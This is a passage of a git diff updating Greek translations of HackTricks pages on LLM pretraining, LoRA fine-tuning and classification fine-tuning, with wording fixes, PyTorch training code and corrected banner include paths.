απώλειας και τον βελτιστοποιητή για να εκπαιδεύσουν όλες τις παραμέτρους του μοντέλου. ## Αξιολόγηση Κειμένου -Για να πραγματοποιηθεί σωστή εκπαίδευση, είναι απαραίτητο να μετρηθούν οι προβλέψεις που αποκτήθηκαν για τον αναμενόμενο τόκεν. Ο στόχος της εκπαίδευσης είναι να μεγιστοποιηθεί η πιθανότητα του σωστού τόκεν, που περιλαμβάνει την αύξηση της πιθανότητάς του σε σχέση με άλλους τόκεν. +Για να πραγματοποιηθεί σωστή εκπαίδευση, είναι απαραίτητο να μετρηθούν οι προβλέψεις που αποκτήθηκαν για τον αναμενόμενο τόκεν. Ο στόχος της εκπαίδευσης είναι να μεγιστοποιηθεί η πιθανότητα του σωστού τόκεν, που περιλαμβάνει την αύξηση της πιθανότητάς του σε σχέση με άλλους τόκενς. Για να μεγιστοποιηθεί η πιθανότητα του σωστού τόκεν, τα βάρη του μοντέλου πρέπει να τροποποιηθούν ώστε αυτή η πιθανότητα να μεγιστοποιηθεί. Οι ενημερώσεις των βαρών γίνονται μέσω **backpropagation**. Αυτό απαιτεί μια **συνάρτηση απώλειας προς μεγιστοποίηση**. Σε αυτή την περίπτωση, η συνάρτηση θα είναι η **διαφορά μεταξύ της εκτελούμενης πρόβλεψης και της επιθυμητής**. -Ωστόσο, αντί να δουλεύει με τις ακατέργαστες προβλέψεις, θα δουλεύει με έναν λογάριθμο με βάση το n. Έτσι, αν η τρέχουσα πρόβλεψη του αναμενόμενου τόκεν ήταν 7.4541e-05, ο φυσικός λογάριθμος (βάση *e*) του **7.4541e-05** είναι περίπου **-9.5042**.\ -Στη συνέχεια, για κάθε είσοδο με μήκος συμφραζομένων 5 τόκεν, για παράδειγμα, το μοντέλο θα χρειαστεί να προβλέψει 5 τόκεν, με τα πρώτα 4 τόκεν να είναι το τελευταίο της εισόδου και το πέμπτο το προβλεπόμενο. Επομένως, για κάθε είσοδο θα έχουμε 5 προβλέψεις σε αυτή την περίπτωση (ακόμα και αν τα πρώτα 4 ήταν στην είσοδο, το μοντέλο δεν το γνωρίζει αυτό) με 5 αναμενόμενους τόκεν και επομένως 5 πιθανότητες προς μεγιστοποίηση. +Ωστόσο, αντί να δουλεύει με τις ακατέργαστες προβλέψεις, θα δουλεύει με έναν λογάριθμο με βάση n. Έτσι, αν η τρέχουσα πρόβλεψη του αναμενόμενου τόκεν ήταν 7.4541e-05, ο φυσικός λογάριθμος (βάση *e*) του **7.4541e-05** είναι περίπου **-9.5042**.\ +Στη συνέχεια, για κάθε είσοδο με μήκος συμφραζομένων 5 τόκενς, για παράδειγμα, το μοντέλο θα χρειαστεί να προβλέψει 5 τόκενς, με τα πρώτα 4 τόκενς να είναι το τελευταίο της εισόδου και το πέμπτο το προβλεπόμενο. Επομένως, για κάθε είσοδο θα έχουμε 5 προβλέψεις σε αυτή την περίπτωση (ακόμα και αν τα πρώτα 4 ήταν στην είσοδο, το μοντέλο δεν το γνωρίζει αυτό) με 5 αναμενόμενους τόκενς και επομένως 5 πιθανότητες προς μεγιστοποίηση. Επομένως, μετά την εκτέλεση του φυσικού λογάριθμου σε κάθε πρόβλεψη, υπολογίζεται ο **μέσος όρος**, αφαιρείται το **σύμβολο μείον** (αυτό ονομάζεται _cross entropy loss_) και αυτός είναι ο **αριθμός που πρέπει να μειωθεί όσο το δυνατόν πιο κοντά στο 0** γιατί ο φυσικός λογάριθμος του 1 είναι 0:

https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233

Ένας άλλος τρόπος για να μετρηθεί πόσο καλό είναι το μοντέλο ονομάζεται perplexity. **Perplexity** είναι ένα μέτρο που χρησιμοποιείται για να αξιολογήσει πόσο καλά ένα μοντέλο πιθανότητας προβλέπει ένα δείγμα. Στη γλωσσική μοντελοποίηση, αντιπροσωπεύει την **αβεβαιότητα του μοντέλου** όταν προβλέπει τον επόμενο τόκεν σε μια ακολουθία.\ -Για παράδειγμα, μια τιμή perplexity 48725 σημαίνει ότι όταν χρειάζεται να προβλέψει έναν τόκεν, δεν είναι σίγουρο ποιος από τους 48,725 τόκεν στο λεξιλόγιο είναι ο σωστός. +Για παράδειγμα, μια τιμή perplexity 48725 σημαίνει ότι όταν χρειάζεται να προβλέψει έναν τόκεν, δεν είναι σίγουρο ποιος από τους 48,725 τόκενς στο λεξιλόγιο είναι ο σωστός. ## Παράδειγμα Προεκπαίδευσης @@ -543,7 +543,7 @@ return tokenizer.decode(flat.tolist()) ``` ### Generate text functions -Σε μια προηγούμενη ενότητα, μια συνάρτηση που απλώς έπαιρνε το **πιο πιθανό token** μετά την απόκτηση των logits. Ωστόσο, αυτό θα σημαίνει ότι για κάθε είσοδο η ίδια έξοδος θα παράγεται πάντα, γεγονός που το καθιστά πολύ ντετερμινιστικό. +Σε μια προηγούμενη ενότητα, μια συνάρτηση που απλώς έπαιρνε το **πιο πιθανό token** μετά την απόκτηση των logits. Ωστόσο, αυτό θα σημαίνει ότι για κάθε είσοδο η ίδια έξοδος θα παράγεται πάντα, γεγονός που την καθιστά πολύ καθοριστική. Η παρακάτω συνάρτηση `generate_text` θα εφαρμόσει τις έννοιες `top-k`, `temperature` και `multinomial`. @@ -592,9 +592,9 @@ idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1) return idx ``` > [!TIP] -> Υπάρχει μια κοινή εναλλακτική στο `top-k` που ονομάζεται [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), γνωστή επίσης ως δειγματοληψία πυρήνα, η οποία αντί να παίρνει k δείγματα με την υψηλότερη πιθανότητα, **οργανώνει** όλη τη **λεξιλογία** κατά πιθανότητες και **αθροίζει** αυτές από την υψηλότερη πιθανότητα προς τη χαμηλότερη μέχρι να **φτάσει σε ένα όριο**. +> Υπάρχει μια κοινή εναλλακτική λύση στο `top-k` που ονομάζεται [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), γνωστή επίσης ως δειγματοληψία πυρήνα, η οποία αντί να παίρνει k δείγματα με την υψηλότερη πιθανότητα, **οργανώνει** όλη τη **λεξιλογία** που προκύπτει κατά πιθανότητες και **αθροίζει** αυτές από την υψηλότερη πιθανότητα προς τη χαμηλότερη μέχρι να **φτάσει σε ένα όριο**. > -> Στη συνέχεια, **μόνο αυτές οι λέξεις** της λεξιλογίας θα ληφθούν υπόψη σύμφωνα με τις σχετικές τους πιθανότητες. +> Στη συνέχεια, **μόνο αυτές οι λέξεις** της λεξιλογίας θα ληφθούν υπόψη σύμφωνα με τις σχετικές πιθανότητές τους. > > Αυτό επιτρέπει να μην χρειάζεται να επιλέξετε έναν αριθμό `k` δειγμάτων, καθώς το βέλτιστο k μπορεί να είναι διαφορετικό σε κάθε περίπτωση, αλλά **μόνο ένα όριο**. > @@ -602,7 +602,7 @@ return idx > [!TIP] > Ένας άλλος τρόπος για να βελτιώσετε το παραγόμενο κείμενο είναι χρησιμοποιώντας **Beam search** αντί της απληστίας που χρησιμοποιείται σε αυτό το παράδειγμα.\ -> Σε αντίθεση με την απληστία, η οποία επιλέγει τη πιο πιθανή επόμενη λέξη σε κάθε βήμα και δημιουργεί μια μοναδική ακολουθία, **η beam search παρακολουθεί τις κορυφαίες 𝑘 k υψηλότερες μερικές ακολουθίες** (που ονομάζονται "beams") σε κάθε βήμα. Εξερευνώντας πολλές δυνατότητες ταυτόχρονα, ισορροπεί την αποδοτικότητα και την ποιότητα, αυξάνοντας τις πιθανότητες **να βρει μια καλύτερη συνολική** ακολουθία που μπορεί να παραληφθεί από την απληστία λόγω πρώιμων, υποβέλτιστων επιλογών. +> Σε αντίθεση με την απληστία, η οποία επιλέγει τη πιο πιθανή επόμενη λέξη σε κάθε βήμα και δημιουργεί μια μοναδική ακολουθία, **η beam search παρακολουθεί τις κορυφαίες 𝑘 k υψηλότερες βαθμολογημένες μερικές ακολουθίες** (που ονομάζονται "beams") σε κάθε βήμα. Εξερευνώντας πολλές δυνατότητες ταυτόχρονα, ισορροπεί την αποδοτικότητα και την ποιότητα, αυξάνοντας τις πιθανότητες **να βρει μια καλύτερη συνολική** ακολουθία που μπορεί να παραληφθεί από την απληστία λόγω πρώιμων, υποβέλτιστων επιλογών. > > _Σημειώστε ότι αυτή η βελτίωση δεν περιλαμβάνεται στον προηγούμενο κώδικα._ @@ -655,9 +655,9 @@ return total_loss / num_batches Και οι δύο φορτωτές δεδομένων χρησιμοποιούν το ίδιο μέγεθος παρτίδας, μέγιστο μήκος και βήμα και αριθμό εργαζομένων (0 σε αυτή την περίπτωση).\ Οι κύριες διαφορές είναι τα δεδομένα που χρησιμοποιεί ο καθένας, και οι επικυρωτές δεν απορρίπτουν το τελευταίο ούτε ανακατεύουν τα δεδομένα καθώς δεν είναι απαραίτητο για σκοπούς επικύρωσης. -Επίσης, το γεγονός ότι το **βήμα είναι όσο μεγάλο όσο το μήκος του συμφραζομένου**, σημαίνει ότι δεν θα υπάρχει επικάλυψη μεταξύ των συμφραζομένων που χρησιμοποιούνται για την εκπαίδευση των δεδομένων (μειώνει την υπερβολική προσαρμογή αλλά και το σύνολο δεδομένων εκπαίδευσης). +Επίσης, το γεγονός ότι το **βήμα είναι τόσο μεγάλο όσο το μήκος του συμφραζομένου**, σημαίνει ότι δεν θα υπάρχει επικάλυψη μεταξύ των συμφραζομένων που χρησιμοποιούνται για την εκπαίδευση των δεδομένων (μειώνει την υπερβολική προσαρμογή αλλά και το σύνολο δεδομένων εκπαίδευσης). -Επιπλέον, σημειώστε ότι το μέγεθος παρτίδας σε αυτή την περίπτωση είναι 2 για να διαιρέσει τα δεδομένα σε 2 παρτίδες, ο κύριος στόχος αυτού είναι να επιτρέψει παράλληλη επεξεργασία και να μειώσει την κατανάλωση ανά παρτίδα. +Επιπλέον, σημειώστε ότι το μέγεθος της παρτίδας σε αυτή την περίπτωση είναι 2 για να διαιρέσει τα δεδομένα σε 2 παρτίδες, ο κύριος στόχος αυτού είναι να επιτρέψει παράλληλη επεξεργασία και να μειώσει την κατανάλωση ανά παρτίδα. ```python train_ratio = 0.90 split_idx = int(train_ratio * len(text_data)) @@ -761,13 +761,13 @@ print("Validation loss:", val_loss) - Τον **optimizer** που θα χρησιμοποιηθεί κατά τη διάρκεια της εκπαίδευσης: Αυτή είναι η συνάρτηση που θα χρησιμοποιήσει τους βαθμούς και θα ενημερώσει τις παραμέτρους για να μειώσει την απώλεια. Σε αυτή την περίπτωση, όπως θα δείτε, χρησιμοποιείται ο `AdamW`, αλλά υπάρχουν πολλοί άλλοι. - Καλείται το `optimizer.zero_grad()` για να επαναφέρει τους βαθμούς σε κάθε γύρο ώστε να μην τους συσσωρεύει. - Η παράμετρος **`lr`** είναι το **learning rate** που καθορίζει το **μέγεθος των βημάτων** που γίνονται κατά τη διάρκεια της διαδικασίας βελτιστοποίησης όταν ενημερώνονται οι παράμετροι του μοντέλου. Ένα **μικρότερο** learning rate σημαίνει ότι ο optimizer **κάνει μικρότερες ενημερώσεις** στα βάρη, κάτι που μπορεί να οδηγήσει σε πιο **ακριβή** σύγκλιση αλλά μπορεί να **επιβραδύνει** την εκπαίδευση. Ένα **μεγαλύτερο** learning rate μπορεί να επιταχύνει την εκπαίδευση αλλά **κινδυνεύει να υπερβεί** το ελάχιστο της συνάρτησης απώλειας (**να πηδήξει πάνω** από το σημείο όπου ελαχιστοποιείται η συνάρτηση απώλειας). -- Ο **Weight Decay** τροποποιεί το βήμα **Υπολογισμού Απώλειας** προσθέτοντας έναν επιπλέον όρο που ποινικοποιεί τα μεγάλα βάρη. Αυτό ενθαρρύνει τον optimizer να βρει λύσεις με μικρότερα βάρη, ισορροπώντας μεταξύ της καλής προσαρμογής στα δεδομένα και της διατήρησης του μοντέλου απλού, αποτρέποντας την υπερβολική προσαρμογή σε μοντέλα μηχανικής μάθησης αποθαρρύνοντας το μοντέλο από το να αποδίδει υπερβολική σημασία σε οποιαδήποτε μεμονωμένη χαρακτηριστική. +- Ο **Weight Decay** τροποποιεί το βήμα **Υπολογισμού Απώλειας** προσθέτοντας έναν επιπλέον όρο που επιβαρύνει τα μεγάλα βάρη. Αυτό ενθαρρύνει τον optimizer να βρει λύσεις με μικρότερα βάρη, ισορροπώντας μεταξύ της καλής προσαρμογής στα δεδομένα και της διατήρησης του μοντέλου απλού, αποτρέποντας την υπερβολική προσαρμογή σε μοντέλα μηχανικής μάθησης αποθαρρύνοντας το μοντέλο από το να αποδίδει υπερβολική σημασία σε οποιαδήποτε μεμονωμένη χαρακτηριστική. - Παραδοσιακοί optimizers όπως ο SGD με L2 κανονικοποίηση συνδυάζουν τον weight decay με τον βαθμό της συνάρτησης απώλειας. Ωστόσο, ο **AdamW** (μια παραλλαγή του Adam optimizer) αποσυνδέει τον weight decay από την ενημέρωση του βαθμού, οδηγώντας σε πιο αποτελεσματική κανονικοποίηση. - Η συσκευή που θα χρησιμοποιηθεί για την εκπαίδευση - Ο αριθμός των εποχών: Αριθμός φορών που θα περάσει από τα δεδομένα εκπαίδευσης -- Η συχνότητα αξιολόγησης: Η συχνότητα για να καλέσει τη `evaluate_model` -- Η επανάληψη αξιολόγησης: Ο αριθμός των παρτίδων που θα χρησιμοποιηθούν κατά την αξιολόγηση της τρέχουσας κατάστασης του μοντέλου όταν καλείται η `generate_and_print_sample` -- Το αρχικό πλαίσιο: Ποια είναι η αρχική πρόταση που θα χρησιμοποιηθεί όταν καλείται η `generate_and_print_sample` +- Η συχνότητα αξιολόγησης: Η συχνότητα για να καλέσετε τη `evaluate_model` +- Η επανάληψη αξιολόγησης: Ο αριθμός των παρτίδων που θα χρησιμοποιηθούν κατά την αξιολόγηση της τρέχουσας κατάστασης του μοντέλου όταν καλείτε τη `generate_and_print_sample` +- Το αρχικό πλαίσιο: Ποια είναι η αρχική πρόταση που θα χρησιμοποιηθεί όταν καλείτε τη `generate_and_print_sample` - Ο tokenizer ```python # Functions to train the data @@ -832,8 +832,8 @@ model.train() # Back to training model applying all the configurations > [!TIP] > Για να βελτιωθεί ο ρυθμός εκμάθησης, υπάρχουν μερικές σχετικές τεχνικές που ονομάζονται **linear warmup** και **cosine decay.** > -> **Linear warmup** συνίσταται στον καθορισμό ενός αρχικού ρυθμού εκμάθησης και ενός μέγιστου και στη συνεχή ενημέρωσή του μετά από κάθε εποχή. Αυτό συμβαίνει επειδή η έναρξη της εκπαίδευσης με μικρότερες ενημερώσεις βαρών μειώνει τον κίνδυνο το μοντέλο να συναντήσει μεγάλες, αποσταθεροποιητικές ενημερώσεις κατά τη διάρκεια της φάσης εκπαίδευσής του.\ -> **Cosine decay** είναι μια τεχνική που **μειώνει σταδιακά τον ρυθμό εκμάθησης** ακολουθώντας μια καμπύλη μισού συνημίτονου **μετά τη φάση warmup**, επιβραδύνοντας τις ενημερώσεις βαρών για **να ελαχιστοποιήσει τον κίνδυνο υπερβολής** στα ελάχιστα απωλειών και να διασφαλίσει τη σταθερότητα της εκπαίδευσης σε μεταγενέστερες φάσεις. +> **Linear warmup** συνίσταται στον καθορισμό ενός αρχικού ρυθμού εκμάθησης και ενός μέγιστου και στη συνεχή ενημέρωσή του μετά από κάθε εποχή. Αυτό συμβαίνει επειδή η έναρξη της εκπαίδευσης με μικρότερες ενημερώσεις βαρών μειώνει τον κίνδυνο το μοντέλο να συναντήσει μεγάλες, αποσταθεροποιητικές ενημερώσεις κατά τη διάρκεια της φάσης εκπαίδευσης.\ +> **Cosine decay** είναι μια τεχνική που **μειώνει σταδιακά τον ρυθμό εκμάθησης** ακολουθώντας μια καμπύλη μισού συνημίτονου **μετά τη φάση warmup**, επιβραδύνοντας τις ενημερώσεις βαρών για **να ελαχιστοποιήσει τον κίνδυνο υπερβολικής εκπαίδευσης** των ελαχίστων απωλειών και να διασφαλίσει τη σταθερότητα της εκπαίδευσης σε μεταγενέστερες φάσεις. > > _Σημειώστε ότι αυτές οι βελτιώσεις δεν περιλαμβάνονται στον προηγούμενο κώδικα._ @@ -860,7 +860,7 @@ print(f"Training completed in {execution_time_minutes:.2f} minutes.") ``` ### Εκτύπωση εξέλιξης εκπαίδευσης -Με την παρακάτω συνάρτηση είναι δυνατή η εκτύπωση της εξέλιξης του μοντέλου ενώ εκπαιδευόταν. +Με την παρακάτω συνάρτηση είναι δυνατή η εκτύπωση της εξέλιξης του μοντέλου κατά τη διάρκεια της εκπαίδευσής του. ```python import matplotlib.pyplot as plt from matplotlib.ticker import MaxNLocator @@ -943,4 +943,4 @@ model.eval() # Put in eval mode - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 7404a36c6..3e48e9c45 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -1,23 +1,23 @@ # 7.0. Βελτιώσεις LoRA στην προσαρμογή -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Βελτιώσεις LoRA > [!TIP] > Η χρήση του **LoRA μειώνει πολύ την υπολογιστική** ανάγκη για **προσαρμογή** ήδη εκπαιδευμένων μοντέλων. -Το LoRA καθιστά δυνατή την προσαρμογή **μεγάλων μοντέλων** αποτελεσματικά αλλάζοντας μόνο ένα **μικρό μέρος** του μοντέλου. Μειώνει τον αριθμό των παραμέτρων που χρειάζεται να εκπαιδευτούν, εξοικονομώντας **μνήμη** και **υπολογιστικούς πόρους**. Αυτό συμβαίνει επειδή: +Το LoRA καθιστά δυνατή την προσαρμογή **μεγάλων μοντέλων** αποδοτικά αλλάζοντας μόνο ένα **μικρό μέρος** του μοντέλου. Μειώνει τον αριθμό των παραμέτρων που χρειάζεται να εκπαιδεύσετε, εξοικονομώντας **μνήμη** και **υπολογιστικούς πόρους**. Αυτό συμβαίνει επειδή: -1. **Μειώνει τον Αριθμό των Εκπαιδεύσιμων Παραμέτρων**: Αντί να ενημερώνει ολόκληρη τη μήτρα βαρών στο μοντέλο, το LoRA **χωρίζει** τη μήτρα βαρών σε δύο μικρότερες μήτρες (που ονομάζονται **A** και **B**). Αυτό καθιστά την εκπαίδευση **ταχύτερη** και απαιτεί **λιγότερη μνήμη** επειδή λιγότερες παράμετροι χρειάζεται να ενημερωθούν. +1. **Μειώνει τον Αριθμό Εκπαιδεύσιμων Παραμέτρων**: Αντί να ενημερώνει ολόκληρη τη μήτρα βαρών στο μοντέλο, το LoRA **χωρίζει** τη μήτρα βαρών σε δύο μικρότερες μήτρες (που ονομάζονται **A** και **B**). Αυτό καθιστά την εκπαίδευση **ταχύτερη** και απαιτεί **λιγότερη μνήμη** επειδή λιγότερες παράμετροι χρειάζεται να ενημερωθούν. -1. Αυτό συμβαίνει επειδή αντί να υπολογίζει την πλήρη ενημέρωση βαρών ενός επιπέδου (μήτρα), την προσεγγίζει ως το προϊόν 2 μικρότερων μητρών μειώνοντας την ενημέρωση για υπολογισμό:\ +1. Αυτό συμβαίνει επειδή αντί να υπολογίζει την πλήρη ενημέρωση βαρών ενός επιπέδου (μήτρα), την προσεγγίζει σε ένα προϊόν 2 μικρότερων μητρών μειώνοντας την ενημέρωση για υπολογισμό:\
-2. **Διατηρεί τους Αρχικούς Βάρη του Μοντέλου Αμετάβλητους**: Το LoRA σας επιτρέπει να διατηρείτε τους αρχικούς βάρους του μοντέλου ίδιους, και ενημερώνει μόνο τις **νέες μικρές μήτρες** (A και B). Αυτό είναι χρήσιμο γιατί σημαίνει ότι η αρχική γνώση του μοντέλου διατηρείται, και απλώς προσαρμόζετε ό,τι είναι απαραίτητο. -3. **Αποτελεσματική Προσαρμογή για Συγκεκριμένες Εργασίες**: Όταν θέλετε να προσαρμόσετε το μοντέλο σε μια **νέα εργασία**, μπορείτε απλώς να εκπαιδεύσετε τις **μικρές μήτρες LoRA** (A και B) αφήνοντας το υπόλοιπο του μοντέλου όπως είναι. Αυτό είναι **πολύ πιο αποτελεσματικό** από το να εκπαιδεύσετε ολόκληρο το μοντέλο ξανά. -4. **Αποτελεσματικότητα Αποθήκευσης**: Μετά την προσαρμογή, αντί να αποθηκεύσετε ένα **εντελώς νέο μοντέλο** για κάθε εργασία, χρειάζεται μόνο να αποθηκεύσετε τις **μήτρες LoRA**, οι οποίες είναι πολύ μικρές σε σύγκριση με το ολόκληρο μοντέλο. Αυτό διευκολύνει την προσαρμογή του μοντέλου σε πολλές εργασίες χωρίς να χρησιμοποιείτε υπερβολικό χώρο αποθήκευσης. +2. **Διατηρεί τα Αρχικά Βάρη του Μοντέλου Αμετάβλητα**: Το LoRA σας επιτρέπει να διατηρείτε τα αρχικά βάρη του μοντέλου τα ίδια και να ενημερώνετε μόνο τις **νέες μικρές μήτρες** (A και B). Αυτό είναι χρήσιμο γιατί σημαίνει ότι η αρχική γνώση του μοντέλου διατηρείται και απλώς προσαρμόζετε ό,τι είναι απαραίτητο. +3. **Αποτελεσματική Προσαρμογή για Συγκεκριμένες Εργασίες**: Όταν θέλετε να προσαρμόσετε το μοντέλο σε μια **νέα εργασία**, μπορείτε απλώς να εκπαιδεύσετε τις **μικρές μήτρες LoRA** (A και B) αφήνοντας το υπόλοιπο του μοντέλου όπως είναι. Αυτό είναι **πολύ πιο αποδοτικό** από το να εκπαιδεύσετε ολόκληρο το μοντέλο ξανά. +4. **Αποτελεσματικότητα Αποθήκευσης**: Μετά την προσαρμογή, αντί να αποθηκεύσετε ένα **ολόκληρο νέο μοντέλο** για κάθε εργασία, χρειάζεται μόνο να αποθηκεύσετε τις **μήτρες LoRA**, οι οποίες είναι πολύ μικρές σε σύγκριση με το ολόκληρο μοντέλο. Αυτό διευκολύνει την προσαρμογή του μοντέλου σε πολλές εργασίες χωρίς να χρησιμοποιείτε υπερβολικό χώρο αποθήκευσης. Για να υλοποιήσετε τα LoraLayers αντί για γραμμικά κατά τη διάρκεια μιας προσαρμογής, προτείνεται αυτός ο κώδικας εδώ [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb): ```python @@ -62,4 +62,4 @@ replace_linear_with_lora(module, rank, alpha) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md index c0cefe0e9..d04a8abdb 100644 --- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md +++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md @@ -1,6 +1,6 @@ # 7.1. Fine-Tuning for Classification -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Τι είναι @@ -10,7 +10,7 @@ > Δεδομένου ότι η προεκπαίδευση ενός LLM που "κατανοεί" το κείμενο είναι αρκετά δαπανηρή, είναι συνήθως πιο εύκολο και φθηνότερο να προσαρμόσουμε ανοιχτού κώδικα προεκπαιδευμένα μοντέλα για να εκτελούν μια συγκεκριμένη εργασία που θέλουμε να εκτελούν. > [!TIP] -> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να προσαρμόσουμε ένα ήδη προεκπαιδευμένο μοντέλο, ώστε αντί να παράγει νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι). +> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να προσαρμόσουμε ένα ήδη προεκπαιδευμένο μοντέλο, έτσι ώστε αντί να δημιουργεί νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι). ## Προετοιμασία του συνόλου δεδομένων @@ -18,11 +18,11 @@ Φυσικά, για να προσαρμόσετε ένα μοντέλο χρειάζεστε κάποια δομημένα δεδομένα για να εξειδικεύσετε το LLM σας. Στο παράδειγμα που προτείνεται στο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), το GPT2 προσαρμόζεται για να ανιχνεύει αν ένα email είναι spam ή όχι χρησιμοποιώντας τα δεδομένα από [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._ -Αυτό το σύνολο δεδομένων περιέχει πολύ περισσότερα παραδείγματα "όχι spam" από "spam", επομένως το βιβλίο προτείνει να **χρησιμοποιήσετε μόνο τόσα παραδείγματα "όχι spam" όσο και "spam"** (αφαιρώντας έτσι από τα δεδομένα εκπαίδευσης όλα τα επιπλέον παραδείγματα). Σε αυτή την περίπτωση, αυτό ήταν 747 παραδείγματα από το καθένα. +Αυτό το σύνολο δεδομένων περιέχει πολύ περισσότερα παραδείγματα "όχι spam" από "spam", επομένως το βιβλίο προτείνει να **χρησιμοποιήσετε μόνο τόσα παραδείγματα "όχι spam" όσο και "spam"** (αφαιρώντας έτσι από τα δεδομένα εκπαίδευσης όλα τα επιπλέον παραδείγματα). Σε αυτή την περίπτωση, αυτά ήταν 747 παραδείγματα από το καθένα. Στη συνέχεια, το **70%** του συνόλου δεδομένων χρησιμοποιείται για **εκπαίδευση**, το **10%** για **επικύρωση** και το **20%** για **δοκιμή**. -- Το **σύνολο επικύρωσης** χρησιμοποιείται κατά τη διάρκεια της φάσης εκπαίδευσης για να προσαρμόσει τις **υπερπαραμέτρους** του μοντέλου και να λάβει αποφάσεις σχετικά με την αρχιτεκτονική του μοντέλου, βοηθώντας αποτελεσματικά στην πρόληψη της υπερβολικής προσαρμογής παρέχοντας ανατροφοδότηση σχετικά με την απόδοση του μοντέλου σε αόρατα δεδομένα. Επιτρέπει επαναληπτικές βελτιώσεις χωρίς να προκαταβάλει την τελική αξιολόγηση. +- Το **σύνολο επικύρωσης** χρησιμοποιείται κατά τη διάρκεια της φάσης εκπαίδευσης για να προσαρμόσει τις **υπερπαραμέτρους** του μοντέλου και να λάβει αποφάσεις σχετικά με την αρχιτεκτονική του μοντέλου, βοηθώντας αποτελεσματικά στην πρόληψη της υπερβολικής προσαρμογής παρέχοντας ανατροφοδότηση σχετικά με την απόδοση του μοντέλου σε αόρατα δεδομένα. Επιτρέπει επαναληπτικές βελτιώσεις χωρίς να προκαλεί προκατάληψη στην τελική αξιολόγηση. - Αυτό σημαίνει ότι αν και τα δεδομένα που περιλαμβάνονται σε αυτό το σύνολο δεδομένων δεν χρησιμοποιούνται άμεσα για την εκπαίδευση, χρησιμοποιούνται για να ρυθμίσουν τις καλύτερες **υπερπαραμέτρους**, οπότε αυτό το σύνολο δεν μπορεί να χρησιμοποιηθεί για την αξιολόγηση της απόδοσης του μοντέλου όπως το σύνολο δοκιμής. - Αντίθετα, το **σύνολο δοκιμής** χρησιμοποιείται **μόνο μετά** την πλήρη εκπαίδευση του μοντέλου και την ολοκλήρωση όλων των ρυθμίσεων; παρέχει μια αμερόληπτη εκτίμηση της ικανότητας του μοντέλου να γενικεύει σε νέα, αόρατα δεδομένα. Αυτή η τελική αξιολόγηση στο σύνολο δοκιμής δίνει μια ρεαλιστική ένδειξη του πώς αναμένεται να αποδώσει το μοντέλο σε πραγματικές εφαρμογές. @@ -36,7 +36,7 @@ ## Κεφαλή κατηγοριοποίησης -Σε αυτό το συγκεκριμένο παράδειγμα (προβλέποντας αν ένα κείμενο είναι spam ή όχι), δεν μας ενδιαφέρει να προσαρμόσουμε σύμφωνα με το πλήρες λεξιλόγιο του GPT2 αλλά θέλουμε μόνο το νέο μοντέλο να λέει αν το email είναι spam (1) ή όχι (0). Επομένως, θα **τροποποιήσουμε το τελικό επίπεδο που** δίνει τις πιθανότητες ανά token του λεξιλογίου για ένα που δίνει μόνο τις πιθανότητες του να είναι spam ή όχι (οπότε όπως ένα λεξιλόγιο 2 λέξεων). +Σε αυτό το συγκεκριμένο παράδειγμα (προβλέποντας αν ένα κείμενο είναι spam ή όχι), δεν μας ενδιαφέρει να προσαρμόσουμε σύμφωνα με το πλήρες λεξιλόγιο του GPT2 αλλά θέλουμε μόνο το νέο μοντέλο να λέει αν το email είναι spam (1) ή όχι (0). Επομένως, θα **τροποποιήσουμε το τελικό επίπεδο που** δίνει τις πιθανότητες ανά token του λεξιλογίου για ένα που δίνει μόνο τις πιθανότητες να είναι spam ή όχι (οπότε όπως ένα λεξιλόγιο 2 λέξεων). ```python # This code modified the final layer with a Linear one with 2 outs num_classes = 2 @@ -64,11 +64,11 @@ for param in model.final_norm.parameters(): param.requires_grad = True ``` -## Εγγραφές για χρήση στην εκπαίδευση +## Είσοδοι για χρήση στην εκπαίδευση Στις προηγούμενες ενότητες, το LLM εκπαιδεύτηκε μειώνοντας την απώλεια κάθε προβλεπόμενου τόνου, αν και σχεδόν όλοι οι προβλεπόμενοι τόνοι ήταν στην είσοδο της πρότασης (μόνο 1 στο τέλος ήταν 